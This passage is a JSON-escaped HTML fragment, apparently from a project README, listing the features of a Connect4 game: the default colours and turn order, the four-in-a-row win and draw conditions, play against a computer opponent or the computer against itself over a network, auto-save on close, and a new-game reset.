id=\"features\"\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eDefault behavior:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHuman is yellow. CPU is red.\u003c/li\u003e\n\u003cli\u003eHuman moves first. CPU moves second.\u003c/li\u003e\n\u003cli\u003eGame Over condition: when either player gets 4 consecutive marbles (horizontally, vertically, and diagonally). It's a draw if there's no more slot on the board.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllows either the AI or the user to play.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eIt is possible for the AI to play against itself through network.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAuto-saved game on close using serialization.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMenu -\u0026gt; New Game should reset the game state.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e","title":"Connect4"}]